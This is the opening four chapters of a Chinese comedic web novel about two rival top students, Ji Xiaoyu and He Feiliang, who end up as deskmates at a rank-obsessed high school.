《同桌他身披马甲》 第1章 第一章 千年老二 哈利皮特: 高手兄,我这次期中考试又输给他了[裂开] 哈利皮特: 我太难了 哈利皮特: 这种当千年老二的日子我已经受够了 哈利皮特: [苦涩] :-p: 别灰心。 :-p: 你行的。 哈利皮特: 高手兄,你给支个招呗 [可怜] 哈利皮特: 救救孩子 :-p: 兵法有云:知己知彼,百战不殆。 :-p: 你揣摩一下。 高手兄的话永远都是那么言简意赅,却又耐人寻味,纪小鱼看着聊天的气泡框陷入沉思。 半晌,他悬着的手指终于落下。 哈利皮特: 我明白了。 …… 在S中,分数就是特权。 根据校规第一百三十二条,成绩好的同学优先挑座位,成绩差的坐剩下的。 据说,曾经有同学对这条校规表示不满,大着胆子跑去向张校长提出抗议,认为这种对不同成绩学生的区别对待,偏离了学习和教育的意义,不公平,也不合理。 张校长耐心地听完了他的全部抱怨,也不生气,而是反问他,“你想啊,高考的时候,不照样是成绩好的同学优先挑大学,成绩差的只能去剩下的么?” 抗议的同学哑口无言。 张校长接着说,“孩子,S中不是贵族中学,想要什么,你得自己去争取。” 事实也确实如此。无论家世、背景,在S中里,分数就是特权,也是唯一的特权。张校长做到了他能给的公平。 期中考试结束后,又到了新一轮的挑选座位时间。 早上七点十分,高二A班门口排起长龙,大家按期中考试的排名排好队。 纪小鱼闷闷不乐地排在第二个,站在他前面的正是他的死对头,何非亮。 不用去算命,他都知道,何非亮铁定和他八字不合! 八字不合到什么地步呢?从小到大,只要有他纪小鱼参加的比赛,何非亮就一定会出现,并且毫不留情地狙杀掉他拿第一的希望。 十年以来,百发百中,没有例外。 甚至有一次,纪小鱼不信邪地参加了购物商场举办的模特大赛。 对,不用怀疑,他是真的疯了! 纪小鱼放飞自我,踏着魔鬼的步伐,摆着风骚的pose,时不时地来几个炫酷的街舞动作,再配上《Sweet but Psycho》的**背景音,成功地引爆了全场。现场围观的群众一片欢腾,尖叫的尖叫、鼓掌的鼓掌、吹口哨的吹口哨,十分的捧场。 「果然,没有何非亮的地方,就是我纪小鱼的主场!」 「呵呵,不,还就不信了!就算何非亮来了,他能骚得过我吗?」 纪小鱼一时之间风头无二,嘴角疯狂上扬,在一曲终了之际,从双手的指间向观众们递出一个大大的飞吻,鞠躬谢幕。 飞吻飘飘悠悠地落下,纪小鱼看见了人群中显得格外刺眼的何非亮,得意的笑容顿时凝固在了嘴角。 我去,为什么他也在这里! 主持人也一下子就注意到了何非亮,“这位先生,你的形象很好,要不要也来参加一下我们的银河丝路服装模特大赛?” 纪小鱼屏息凝神,心跳如雷,不停地安慰自己,“不可能的,何非亮那种人一看就是有偶像包袱的,他不可能答应的!” 然而何非亮竟然点头,大大方方地走上了舞台,像回到自己家一样,随手从衣帽间抄了一件风衣往肩上一搭,再扭过头时,闹哄哄的人群奇迹般的安静了一秒。 一秒过后,则是一阵铺天盖地的尖叫。 全场观众迅速达成共识——“啊啊啊啊啊啊,好帅啊!” 就连选手席中的一位漂亮姐姐都忘记了自己的立场,拉着纪小鱼疯狂安利,嗓音都变得尖了点,“你看,他那邪魅的眼神!” 纪小鱼纠正道,“他那是眼睛小。” “慵懒中带着令人迷醉的气息……” 漂亮姐姐好像有点上头了,纪小鱼有点慌,强行挣扎,“什么慵懒,也许他那只是没睡醒呢?” 漂亮姐姐不理他,自顾自地捧着脸,沉沦在了粉红色泡泡的梦境里,“唉,我好想在他冰冷又深情的眼波里游泳,然后溺死在他的心里……” 这是……又疯了一个? 唉,没救了、没救了,彻底没救了! 纪小鱼叹了口气,垂下肩膀;槽点太多,他已无力反驳。 最终,何非亮那个苦瓜脸连笑都没笑就拿了模特大赛的冠军! 可恶!哪里有这样子的! 犯规、何非亮他犯规! 纪小鱼心里一千万个不服气。 公布完结果,主持人请获得第一、二、三名的选手上台,颁发奖品,拍纪念照。 纪小鱼正憋着一肚子气,心道,“好气哦!我纪小鱼哪怕死外边,从这跳下去,也不会去和何非亮一起拍照。” 主持人宣布:“第二名的奖品是——购物商场五百元的无门槛代金券。” …… 纪小鱼朝观众们挥手,大踏步地走上舞台。 主持人乐呵呵地拍了拍纪小鱼的肩,“其实我们的亚军选手刚才的表现也非常的出色,让人记忆深刻。但专家评审团最终还是认为,亚军选手个人的风采稍稍盖住了衣服的风采;而我们的冠军选手,则把由赞助商提供的Blueberry牌风衣堪比世界大牌的气场展现得淋漓尽致。” “如果大家对Blueberry牌风衣感兴趣的话,可以直接乘这边这个扶梯上商场五楼,专柜就在扶梯的右手边,秋季新款,你值得拥有!” 主持人停顿了一下,眼睛在眼眶里一转,露出了一个故作神秘的笑容,“好,话不多说,接下来有请我们的冠军选手,何、非、亮!” 何!非!亮! 又是这个噩梦般的名字! 纪小鱼故作镇定地冲着台下继续微笑,然而心中汹涌着的悲愤河流好几次都几乎要将他的笑容冲垮。 主持人兴致勃勃地问了何非亮一大堆问题,可惜何非亮惜字如金,基本上不是回答“是”、就是回答“嗯”。 “呵,真是低情商!”纪小鱼小声嘀咕。 不幸的是,何非亮这人耳朵特灵,尤其是有人说他坏话的时候。 趁主持人见缝插针地打着广告的时候,何非亮把话筒递给纪小鱼,“话筒给你,你高情商,你来说。” 纪小鱼看着那只伸过来的手,气得简直想要咬上一口。可惜在众目睽睽之下不好发作,只好装聋作哑地把头瞥向一边——眼不见、心不烦。 “呵,”何非亮一声轻笑,“纪小怂。” 这一声轻笑伤害力满分,纪小鱼心态立马崩了。 “哇哇哇哇哇!怂你个头啊!何非亮我告诉你,要不是这里有这么多人看着,小心我现在就把你打成一个扁的哦!” 纪小鱼在心中疯狂咆哮。 又来了!又来了!又是这种抓狂的感觉! 日复一日!年复一年!到底有完没完啊! 暴风在纪小鱼的世界里呼号,伴随着扭曲的闪电。他第一千次立下决心,“哼,何非亮,你等着!风水轮流转,总有一天,总有一天我会叫你知道我的厉害……到时候,你可别怂!” 主持人不愧是久经沙场,深谙调动气氛之道,他敏锐地嗅到了一丝不寻常的气息,目光在何非亮和纪小鱼身上不怀好意地瞄来瞄去,眼珠一转,不嫌事大地向纪小鱼发问,“常言道,友谊第一,比赛第二,我们的亚军选手有没有什么话想对冠军选手说的?” 纪小鱼乍一被cue到,有点发愣,但他毕竟是随机应变小王子,很快就调整好了情绪。 说就说!谁怕谁! 纪小鱼咬着牙,向着何非亮扯出了一个真诚的假笑,“你好啊,别人都说你刚才的表现特别棒呢,得到这个冠军,意料之中,太厉害了,早点出道吧!等你再次站上舞台的时候,会发现,我在为你,就为你一个人,打call!死忠粉的那种,你看行吗?” 这话得掐着头听,意思就是——“你别得意太早,等会我就打死你!” 不掐着头听的话,就挺深情的。 纪小鱼“深情”的讲话一扫刚才略微沉闷的气氛,大家齐齐为他送上掌声。 掌声中,何非亮瞥了纪小鱼一眼,眼角带着点似笑非笑的意味,像是听出了他的话里有话。 主持人自然也不会放过何非亮,“那我们的冠军选手有没有什么话想对亚军选手说的?” 纪小鱼以为何非亮会像刚才应付一系列的问题一样,说“没有”。 要不就是也像纪小鱼刚才一样,来一段阴阳怪气的freestyle,字里藏针地戳他一下。 然而何非亮竟然转过头,认真地注视着纪小鱼,一双眼睛里混杂着惊讶和一种近似欣赏的光芒,声线温和清晰,“小鱼,You can really dance!” 说完,何非亮把刚发给他的商场一千元代金券也塞进了纪小鱼的手里,便扬长而去了。 这一举动,瞬间点燃了现场的气氛,热烈的掌声中甚至夹杂着几声尖叫。站在前排的几个观众兴奋得脸都红的像过年的灯笼了。 纪小鱼疯得更厉害了,然而更气的事情还在后头。 他回到家,垂头丧气地把代金券上交老妈。结果第二天下午,妈妈喜滋滋地从购物袋里掏出一件风衣,“小鱼,小鱼,快来快来,妈妈给你买了件新衣服!我跟你说啊,这一款卖得可火了,妈好不容易才给你抢到了一件。你快试试!” 这风衣怪眼熟的,纪小鱼仔细一看,差点晕了过去——我去,这不是何非亮那厮昨儿展示的那款吗?一模一样啊! 纪小鱼惊恐地摆手,“不,我不穿!” 妈妈拿着风衣,含笑着逼近,在纪小鱼身前留下一团恐怖的黑影,“小鱼,你说什么?我没听清。” …… 排在后面的同学推了推他,“纪小鱼,轮到你了!” 纪小鱼像做了一个噩梦一样恍然惊醒。 Blueberry,一个胡诌的牌子。 作者有话说 显示所有文的作话 第1章 第一章 千年老二 第2章 第二章 请多指教 教室里窗明几净,空空荡荡。 何非亮正一个人无聊地趴在课桌上打呵欠,形单影只的,看上去有点无敌的寂寞。他选了一个后排靠窗的座位,那里是传说中王的故乡。 嗐,纪小鱼偷偷馋这个座位都馋了大半个学期了。 然而,今天的他,心态非常平和,内心波澜不惊,甚至有点想笑。 他面带微笑地朝何非亮走去,优雅,从容。 班门口传来窃窃私语,“奇怪,纪小鱼这次不坐第一排了啊?” “就是啊……诶诶诶,我怎么看到他往何非亮那个方向去了!?” “什么?” “我去!还真是!” “这、这怎么可能呢?” 何非亮和纪小鱼,如果一个是水,另一个就一定是火;如果一个是沙子,另一个就一定是眼睛——自古以来,水火不相容;常言又道,眼里容不得沙子。因此,纪小鱼主动往何非亮跟前凑,那这肯定是违反了大自然的规律啊! 简而言之,这不科学! 在众人震惊的目光中,纪小鱼把书包潇洒地往何非亮身旁的座椅上一放,居高临下地抛下一个挑衅的眼神,“何非亮同学,以后咱俩就是同桌了,请多指教啊!” “呵呵。”何非亮一副似笑非笑的样子,“那你离我远点,别把你的傻气传染给我了。” 我去,瞧瞧,这还是人话吗! 你这么厉害,你咋不上天呢! 何非亮总能一句话把纪小鱼气死。 纪小鱼在心里“哇哇哇哇哇”地一通狂吠。 这能忍吗? 这不能忍! 一股火从心里腾腾腾地往上冒,纪小鱼被冲昏了头脑,失了智地扑上去,长牙舞爪地作势要和何非亮扭打起来,“我就要离你这么近,我偏要离你那么近!我要把我的傻气全部传染给你!” 窗外传来一声惊呼,“天啊,他们抱在一起了!” “活久见啊!今天到底是什么日子啊!” “呜呜呜呜呜!我圆满了!” 还是班主任严老师及时喝止,“纪小鱼,你在干嘛!” “我……”纪小鱼醒过神来,挥起的拳头顺势往后脑勺一摸,咧嘴一笑,露出了一口闪亮又质朴的白牙。 好一个一脸懵逼、好一个人畜无害的表情! 纪小鱼觍着脸,笑得像个憨憨,“严老师,我就是想给新同桌一个友好的拥抱。” 何非亮没事人一般地直起身子,脸上晃悠出一点浅浅的笑意,“小鱼,你太热情了。” 严老师姓严,严格的严,但她的严格在纪小鱼这种每次考年级第二的同学面前,还是放了点水的。 “抱就抱,动作这么大干什么?”严老师不痛不痒地嗔怪了一声,就把目光转回窗外排着的吃瓜群众身上,“你们吵什么吵,没见过友好的拥抱吗?都安静点!一点纪律也没有!下一个下一个,赶紧的!” …… 经过这一出,纪小鱼总算是冷静了下来。 高手兄曾经说过,“知己知彼,百战不殆。” 此行颇有越王卧薪尝胆之风,为的不是别的,就是为了探探何非亮这厮的底,看看他到底平时都是怎么学习的,然后取其精华、去其糟粕—— 【了解你的敌人,然后——打败他!让他叫爸爸!让他跪下来唱《征服》!】 然而第一节早读课,何非亮就趴在桌子上睡着了,长长的睫毛在眼底打下阴影。 纪小鱼的目光从何非亮挺直的鼻梁滑下,郑重其事地从口袋里掏出小本本,在上面认真地记下“早读课,何非亮睡得像只小猪”。 略经思索,纪小鱼在这一条旁边打了个小叉,备注“糟粕”。 离早读课下课还有十分钟,作为同桌的纪小鱼尽职尽责地戳了戳同桌何非亮,指着黑板,“诶,醒醒,今天早读课的任务是背诵《离骚》,同桌互背。你快起来!” “哦。”何非亮慵懒地抬起眼皮,拈起课本扫了一眼。 “哎呀呀,”纪小鱼终于逮着了机会,当然不会忘记阴阳怪气地奚落一番,“年级第一背课文还要临时抱佛脚啊?啧啧啧。” 何非亮眼皮没好气地向上一撩,把摊开的书本往纪小鱼脑门上一盖,便开始背了起来,“帝高阳之苗裔兮,朕皇考曰伯庸。摄提贞于孟陬兮,惟庚寅吾以降……” 竟是行云流水,一字不差! “何非亮,”纪小鱼瞪大了眼睛,“你什么时候背的?” “刚才。” 呵,何非亮的话纪小鱼连个标点符号都不信,这肯定是他早就背过的! “何非亮,偷学狗!”纪小鱼在心里愤愤不平地“tuì!”了一声——虽然“做题家”纪小鱼买的课外教辅已经在家里堆满了整整三个书柜,可以开一个小型的书店了。 纪小鱼把语文课本往后翻了几页,戳了戳《孔雀东南飞》的标题,“那您有本事背这个啊?” “不要!”何非亮拒绝得颇为果断,眼睛半眯半张地打了个呵欠,又趴回桌子上补觉去了。 “呵呵。”纪小鱼干巴巴地笑了两声,“哎呀哎呀,有些人嘴上说不要,我看其实是不行吧?” 何非亮闻言,也不生气,而是好脾气地冲他笑笑,“小鱼,这么长,背到下节课上课也背不完啊。” 纪小鱼不依不饶,“那你就背这一段!不过,不过你只能看三秒!” 何非亮懒洋洋地直起一点身子,脸上挂着点无奈的神情,拿过书瞅了一眼。 “三、二……”纪小鱼在旁边倒计时。 还没等纪小鱼开始数到一,何非亮就把书推了回去,“十三能织素,十四学裁衣,十五弹箜篌,十六诵诗书。十七为君妇……” 声音不疾不徐,温润好听,像清风吹过竹林,又拂过山谷。 纪小鱼呆住了,“这、这怎么可能呢?” 何非亮笑了笑,“我这是照相机记忆法。” “呵,照相机记忆法?”纪小鱼不服气,“我也会啊!” 何非亮挑眉,“那你背?” 纪小鱼咽了口唾沫,心有点虚。 但这能怂吗? 这不能怂! “背就背!”纪小鱼立起书,眼睛用力地眨了眨,好像想用目光把书上的字句都使劲拍下来存在脑子里似的。 何非亮也不催促,只是静静地撑着头,饶有兴趣地望着纪小鱼,目光含笑,温柔又缱绻。 纪小鱼没有察觉到身旁的目光,两只眼睛专注地死盯着书本,“拍”了一遍又一遍,终于心一横,把书往旁边一推,“十三能织布……” 何非亮纠正道,“是‘织素’。” “哦,十三能织素,十四能裁衣……” “小鱼,是‘学裁衣’。” “我刚才背的就是‘学裁衣’!”纪小鱼梗着脖子狡辩。 “哦,是吗?”何非亮无所谓地笑笑,比了一个“请继续”的手势。 纪小鱼脸有点发烫,继续磕磕绊绊地背道,“十五弹箜篌,十六诵诗书。十七为君妇、呃、十七为君妇、十七为君妇……” 越背声音越小。 何非亮摇摇头,笑道,“小鱼,你这照相机像素一般呐。” 啊啊啊啊啊啊! 这是什么无敌嘲讽啊! 何非亮你礼貌吗??? 纪小鱼觉得自己又要疯了! 好在这个时候下课铃声响了,何非亮松松懒懒地站起身来,食指勾住水瓶的柄,一晃一晃地出门打水去了。 纪小鱼头有点发晕,咬着牙掏出小本子,闷闷不乐地在上面记上了“照相机记忆法”,打了个五角星,备注上了“精华”。 太气人了! 纪小鱼不信邪地瞪着自己的语文课本。 然而,睁着眼睛的时候,大脑自信满满地说“我会背了”;闭上眼睛的时候,大脑又不好意思地说,“我忘记了”。 嗐,为啥自己的眼睛就这么不争气,连个照片也不会拍? 又或者——这不关眼睛的事?眼睛其实已经拍下来了,只是脑子没存? 所以其实是脑子的问题? 呸呸呸,这怎么能是我脑子的问题呢? 开什么玩笑,我可是天妒英才纪小……呸呸呸,是天资卓绝、妒忌不来、英俊潇洒、才高八斗纪小鱼! 这一定是……对,这一定是何非亮的问题! 何非亮这个人,问题大大的有! 比如……他为什么一大早就这么困呢? 一定是昨晚偷学了! “何非亮,偷学狗!tuì!”纪小鱼在脑海里把何非亮狠狠地唾弃了一番后,自己也忍不住打了个大大的呵欠,觉得眼皮有点发沉。 唉,昨晚刷题刷到了凌晨一点半呢…… 要是可以躺在床上听课就好了…… 何非亮手里颠着两个水瓶,又一晃一晃地走回来了,递过来了其中一个,“小鱼,喝点水。” 纪小鱼这才发现何非亮刚才出门打水的时候,竟然把他的水壶也顺手捎去了。 握着满满的水瓶,纪小鱼有点怪不好意思的。 他怔怔地低下头,小口小口地抿着水。 难不成,何非亮其实是一个……好人? 那自己老是在心里“tuì”他,是不是其实不太好啊…… 水的温度不温不凉,带着些淡淡的甘甜。 水里倒映着一点浅浅的影子,纪小鱼对着模模糊糊的影子,忸怩地抹了抹略带绯红的脸颊。 愧疚感像小虫子一样在心里不安地咬来要去。 纪小鱼咬着唇,“何非亮,对不……” 何非亮欣慰地看着喝着水的纪小鱼,那一刻,他漂亮的桃花眼里竟然混杂了一种近似慈爱的光芒,“小鱼,脑子是个好东西,但没有也别气坏了身体。” 啥? 纪小鱼反应过来,愧疚的小虫子们瞬间全军覆没。 取而代之的是熊熊燃烧的战神之火,手中的水瓶化身为战神之锤。 “何非亮,对不住了!今天我就要和你决一死战!”纪小鱼龇着牙,抡起“战神之锤”就要往何非亮身上招呼。 电光石火一瞬间,纪小鱼破天荒地看见何非亮的眼睛里流露出了惊恐。 “小鱼,瓶盖没盖!” 第3章 第三章 冰桶挑战 上课铃响,严老师刚踏进教室的大门,就看见纪小鱼当头给自己浇了一瓶水,动作还挺豪迈的。 严老师的眉头忍不住深深地蹙了起来,“纪小鱼,你干嘛呢?” 同学们的目光也齐刷刷地探过来。 “我……”纪小鱼嘴巴张了张,脑子卡壳了。 第一个念头竟然是,还好何非亮倒的不是热水…… 众目睽睽之下,纪小鱼回过神来,尴尬得脚趾抓地,觉得呜呼哀哉——明年今日,恐怕就是他社死的忌日了。 水从湿漉漉的额发上不住地淌下来,纪小鱼看上去可怜兮兮的,像一只无家可归、被滋了一脸暴雨的小狗。 何非亮看着“纪小狗”这副惨兮兮的模样,叹了口气,拿起水瓶,往自己脑袋上也浇了点水,不过动作就没有那么豪迈了,“见好就收”,水只稍稍打湿了一点发梢而已。 严老师也愣住了,“何非亮同学,你这是?” 这什么情况? 纪小鱼这么做就算了,但何非亮也这么做了,那肯定有他的道理…… 同学们也是一脸懵逼——难不成现在流行在教室里洗头吗? 纪小鱼也是满脑子的问号,他抹了一把脸上的水,心想,难道傻气真的会传染?我已经成功地把傻气全部传染给了何非亮? 呸呸呸,我哪有什么傻气! 这一定是……一定是何非亮自己的问题。 是他自己不知道在什么地方感染到的,和我纪小鱼一点关系也没有! 在众人的注视中,何非亮脸不红、心不跳,平静地开口,“严老师,我和小鱼在进行冰桶挑战,为对抗肌肉萎缩性侧索硬化症贡献一份力量——只可惜学校的水不够冰。” 班上的同学们开始窃窃私语,“哦,我知道,这是那个什么‘渐冻人症’吧?” “对对对,那个冰桶挑战,好像在国外很流行的。” …… 严老师姓严,严格的严,但到了何非亮这里,严就变成了“和颜悦色”。 春风化雨,润物无声。 严老师和蔼地点点头,目光中带着欣赏,“何非亮同学不仅学习成绩优异,还这么关心弱势群体,老师真心为你感到骄傲。” “那我呢?”纪小鱼眨巴眨巴眼睛,充满希冀地望着严老师,就差没把“求表扬”三个字打在脸上了。 “纪小鱼,”严老师叹了口气,不忍心责备,“你衣服都湿了。去外面太阳下站着晾晾吧,别感冒了。” 纪小鱼有点失落地走出教室。 秋日的阳光,依旧灿烂,依旧闪耀,却已带微凉。 纪小鱼刚出教室门没几步,就打了一个大大的喷嚏。 “唔,谁在骂我?”迎着满面的秋风,纪小鱼揉了揉痒痒的鼻子,自言自语地嘀咕道,“一定是何非亮。” “不是我。” 何非亮的声音在身后响起,纪小鱼像踩到炸弹一样惊的猛转过身来,“你、何非亮你跟着我干嘛!?” “呵呵,你挡着我的道了,”何非亮不温不火地回答,“麻烦让让。” “我不!”纪小鱼拽起来了,“此路是我开,此树是我栽,要想过此路,留下底/裤来……啊不,是买路财!” 何非亮笑了,“小鱼,你好污哦。” 纪小鱼气急败坏,“我那是口误!口误懂吗?” “我懂我懂,”何非亮仍然是一副要笑不笑的神情,“心理学上说,口误是人潜意识的想法。” 纪小鱼一口气差点没上来。 就这么气得一愣神的功夫,何非亮轻轻巧巧地从纪小鱼身旁穿过去了。 “诶,”纪小鱼追上去,好奇地问,“何非亮,你去哪里啊?” “小卖部。” 小卖部? 纪小鱼在脑海里缓缓打出一个问号。 何非亮课都不听了,跑去小卖部干什么? 学校里的小卖部,称得上是“麻雀虽小,五脏俱全”,一应零食、生活用品俱全,还贴心地为同学们准备了各色最新潮的教辅和习题。 纪小鱼脑海里的问号变成了灯泡——对,何非亮一定是去买题了! 这要是是平时下课时间,小卖部人来人往,“偷学狗”何非亮有偶像包袱,肯定不好意思买。 所以咧,他肯定就是要趁着上课时间溜出教室,趁小卖部没人,神不知鬼不觉地把心仪的习题集给买了,然后拿回家偷学! 妙啊! 纪小鱼忍不住给自己的推理打了满分。 他摩挲着中指指节处厚厚的茧,笑容逐渐扭曲。 呵呵,何非亮,今天我倒是非看看不可,你买的究竟是哪几本习题! 然而——绝不能打草惊蛇! 这么想着,纪小鱼眼珠滴溜溜一转,冲着何非亮露出一个老实巴交的笑容,“那你一路走好!我去天台吹吹风,告辞!” 说完,纪小鱼便一溜烟地从反方向的楼梯下去了,一路小跑,绕了好大一圈路,终于一头扎进了小卖部的大门,在百货区找了个隐蔽又视野开阔的位置藏了起来。 他扒拉着货架的边沿,鬼鬼祟祟地探出头,小心翼翼地往空空荡荡的习题区张望。 过了好一会儿…… 诶,怎么还是没人? 纪小鱼脖子都有点僵了,忍不住小声抱怨,“有没搞错啊?何非亮那两条长腿白长了吧,走得这么慢?乌龟都到了吧?” “纪小龟,你挡着我的道了,麻烦让让。” 熟悉的嗓音在身后响起,“做贼心虚”的纪小鱼一个哆嗦,吓得差点弹起来,心脏狂跳不止,连何非亮叫他“纪小龟”这种是可忍孰不可忍的行为都暂时抛诸脑后了。 “何、何非亮,你、你怎么在这儿!?” “哈?应该是我问你吧?我说过我要来小卖部的啊,”何非亮挑眉,狭长的眼尾染上了些隐约的揶揄和戏谑,“可你刚才不是说——要去天台吹风的吗?” “我……我突然改主意了。”纪小鱼煞有介事地指着头顶上悬着的风扇,“你看,这里也风大,到这里吹风也是可以的。” 恰巧风扇摇着头,带着一阵若有似无的微风撩过,纪小鱼上下晃着手扇了扇,故作陶醉道,“啊,好爽!” 对吧,睁着眼睛说瞎话的时候,只要自己不尴尬,尴尬的就是别人。 “原来如此,”没想到何非亮也不尴尬,而是一本正经地点头,“难怪,我说你上天台,怎么往楼下跑了。” 纪小鱼老脸一红。 何非亮抬起手,胳膊绕过纪小鱼的身体,从他身侧掂起了个小盒子。 有那么一瞬间,纪小鱼以为何非亮要给他一个拥抱。 他连何非亮校服上沾着的那一点淡淡的、似有若无的香气都闻到了。 像是夏日被洗净的天空,又像是涂着青涩的草地,还混杂着点被太阳晒至松软的沉香木料沉淀下来的余韵。 怪好闻的。 纪小鱼还想偷偷再吸几口时,何非亮已经拿着小盒子径自往收银台走了。 诶? 纪小鱼醒过神来,定睛一看,货架上剩余的小盒子上画着个挺精致小巧的银色吹风机——超轻可折叠,负离子科技,三档风温调节,快速干发的利器,完美造型的朋友,只要九十九,你值得拥有! “喂,何非亮,你买吹风机干什么?”纪小鱼忍不住凑上去问。 何非亮一脸的莫名其妙,像看傻子一样看着纪小鱼,“你说呢?” “我怎么知道?”纪小鱼理直气壮地反问,“你是不是傻,我要是知道的话问你干撒?” “小鱼,”何非亮叹了口气,指了指自己湿漉漉的头发,口吻里带了点无奈,“买吹风机,当然是为了吹头发啊。” “哦,对嚯。” 纪小鱼眨了眨眼睛,自己好像的确是提了一个……显得不那么聪明的问题。 咳,这不能怪我! 谁叫何非亮每次都不按套路出牌! 比如……比如他偷偷去小卖部竟然没有买题! 对呀,他怎么不买题呢? “那……”纪小鱼尴尬地没话找话说,“那你刚才凭什么叫我‘纪小龟’!你礼貌吗?” “是你自己说的。”何非亮一脸无辜地把锅甩给纪小鱼,“你说——‘乌龟都到了’。” “……”纪小鱼差点被自己的一口气给噎死。 “你忘了吗?”何非亮眨了眨眼睛,目光悠悠地落下,要笑不笑地注视着纪小鱼。 “呵呵,忘了。”纪小鱼已经一点也不想再讨论这个问题了。 “对不起,”何非亮竟然诚恳地道歉,“是我疏忽了,我忘记你刚才脑子里进水了。” 纪小鱼的脚步停顿了三秒,终于反应过来,脑海中再度爆发出了“啊啊啊啊啊啊啊”的狺狺狂吠! 何!非!亮!你等着! 我纪小鱼发誓,有生之年,一定要把你打成一个扁的! 咳,不过呢,君子报仇,十年不晚……当下的主要任务,还是先那个“知己知彼”一番。 何非亮迈着两条长腿,上起了楼梯。 纪小鱼三步并作两步走,追上去,跟着何非亮一级一级台阶往上走。他清了清嗓子,装作不经意地搭讪,“诶,今天天气真好啊,何非亮,你这是上哪儿去啊?” 何非亮侧过一点脸来,睨了他一眼,漫不经心地回答,“去天台上吹吹风。” 可恶,又酸我! 纪小鱼才不信何非亮真的要去天台呢!何非亮说这话明摆着就是为了要讽刺他、挖苦他! 呵呵! 纪小鱼咬牙,气急反笑,“哦?是吗?刚好我又想去天台了,好巧啊!一起啊!” “好啊,跟屁鱼。” 硬挤出来的笑容在纪小鱼脸上摇摇欲坠。 我……我忍! 然而,俗话说的好,秋字加心一点愁,忍字心头一把刀。 唉,没有心,就不会受伤…… 纪小鱼捂着心口——这忍受的滋味还真不好受。 在秋天里,还要忍受,就更不好受了! 不忍了,直接打吧! 秋风飒飒,古道残阳。 一剑草木枯, 一剑山河碎, 一剑送你上西天, 从此不相见! 嚯嚯嚯嚯嚯! 一路上,纪小鱼对着何非亮的背影,脑海中不间断地脑补出了七十回的刀光剑影。 哦呵呵呵呵呵! 七十集大型连续剧《痛扁何非亮》在脑海中演完,激昂澎湃的片尾曲响起—— “路见不平一声吼啊,该出手时就出手啊,何非亮啊真欠揍啊,扁他扁他不留手啊,扁他扁他不留手啊……” 等到何非亮推开天台的小门时,灿烂的笑容已经又重新回到了纪小鱼的脸上。 4. 第四章 天台吹风 不得不说,天台的绿化做的还不错,灌木丛像是被打理过一样,修剪得平平整整,旁边还交错摆着几盆应季的菊花,姹紫嫣红,是广大中老年人的品味了没错。 纪小鱼装作若无其事地东瞧瞧、西看看,在天台上漫无目的地踱着步子,时而举头看云,时而低头赏花,时而扶着栏杆吟哦——“独自莫凭栏,无限江山,別时容易见时难[1]”,时而拍一拍栏杆,感慨道,“把吴钩看了,栏杆拍遍,无人会,登临意[2]”。 然而,纪小鱼眼角的余光却一直“尽职守则”地黏在何非亮的身上。 余光所及之下,何非亮正蹲下身子,对着一块灌木下的石头敲敲打打。 哈? ……何非亮又在搞什么幺蛾子? 纪小鱼背着手,扬着头左顾右盼,以一副悠然自得的姿态,“不经意”地凑近了些。 “石头”弹开了一个小盖子,露出里面黑黝黝的插座。何非亮把刚买的吹风机包装拆开,不紧不慢地给它接上电源,再推开启动开关…… 吹风机“嗡嗡嗡”地运作起来,纪小鱼傻眼了。 这还能有这种操作? 何非亮真是太……太臭美了! 不就是湿了一点吗?晾一晾不就干了吗?还特意去买一个吹风机! 眼见着何非亮的头发很快就恢复了干爽、光泽、有弹性,还有了点蓬松的质感。 纪小鱼抬眼瞅了瞅自己湿嗒嗒的额发,没出息地酸了。 吹风机“嗡嗡嗡”的声音戛然而止,何非亮笑了笑,“小鱼,你要吹吗?” “要!”纪小鱼屁颠屁颠地跑过去,伸出手。 没想到,何非亮竟然抬高了手里的吹风机,堪堪避开了纪小鱼伸出的手。 纪小鱼的手僵在了半空。 可恶! 就说嘛,何非亮怎么可能这么好心! “小鱼,”何非亮语带嫌弃,“你的爪子都快变成黑的了。” “啊?”纪小鱼低头,看着自己脏兮兮、乌泱泱的手掌,愣住了,“这……” 我去,哪里来的这么多灰尘? 纪小鱼瞄向天台立着的围栏。 呃……好像是刚才,“把栏杆拍遍”的时候弄上的。 “算了,”何非亮有点无奈,“我帮你吹吧。” 吹风机再次启动,“嗡嗡”的轰鸣中,风筒里喷出了暖烘烘的风。 湿漉漉的头发被暖暖的风包裹着,头皮也酥酥麻麻的,纪小鱼舒服地眯起了眼睛,像一只在阳光下伸懒腰的小猫。 好幸福啊! “小鱼,你平时没少熬夜吧?”何非亮突然开口。 “啊,对啊。” 想到这,纪小鱼不由地有些感慨。 「深宵的灯火漂白了四壁[3],奋斗的人儿他不会孤寂! 我的双眼一目十行,我的思绪一泻千里,我的左手擅长数学,右手擅长语文。 我,纪小鱼,一个人就是一支军队! 今夜如此,夜夜皆然!」 ……诶,不对! 纪小鱼脑海中突然警钟大作。 这种事情要低调、要低调才对! 纪小鱼连忙补充道,“我一般十点钟睡,好晚哦。” “呵呵,”何非亮笑了笑,“小鱼,你有点秃了哦。” 秃、秃了? 何非亮的话仿佛在纪小鱼心头开了一枪。 一时,竟无语凝噎…… 陷入了,对人生的思考。 好在他的头发很快就吹干了,何非亮把电关了,吹风机收好,扬了扬下巴,问他,“回去上课?” 纪小鱼恍惚地点了点头。 步伐却是虚浮的。 仿佛教学楼里的幽灵,飘荡,飘荡,飘荡—— 嗐!人生有几个方向? 明明头发已经干了,一阵风吹过,头顶却又透出丝丝凉意。 纪小鱼顺着风儿,甚至好像听见了又一根头发的低声轻语,“小鱼,我是来和你道别的。” “不!”纪小鱼热泪盈眶,“发哥,你别走!有话好说!拜托你不要离开我!” “对不起!我是一根头发,一根有理想的头发!我,有我的方向!” “发哥”快乐地唱着流浪的歌谣,随风远去。 纪小鱼伸出尔康手。然而,留不住的终究是留不住,他只好又把手徒劳地放下了。 心里空空的。 一直到洗干净了手,回到教室坐下,欣赏着自己刚发下来的数学试卷,纪小鱼才缓缓展露出了一个笑容。 148分! 哦呵呵呵呵! 以这次试卷的难度来看,这已经是绝对的高分了。 但是,一想到何非亮考了150分,纪小鱼的笑意就像注水了一样,瞬间稀薄了几分。 珠穆朗玛峰8848米,乔戈里峰8611米,相差不过200多米的,知名度却天差地别。 有了何非亮珠玉在前,自己这个扣了两分的卷子就显得黯然失色了。 果然,严老师也不会放过任何一个夸何非亮的机会,“这次卷子出得难了一些,年级平均分不到90。但是我们的何非亮同学,依然取得了150分满分的成绩!我认为,何非亮同学考了150分,是因为试卷只有150分!同学们要努力像何非亮同学看齐!” 啧……压根就没提到纪小鱼嘛。 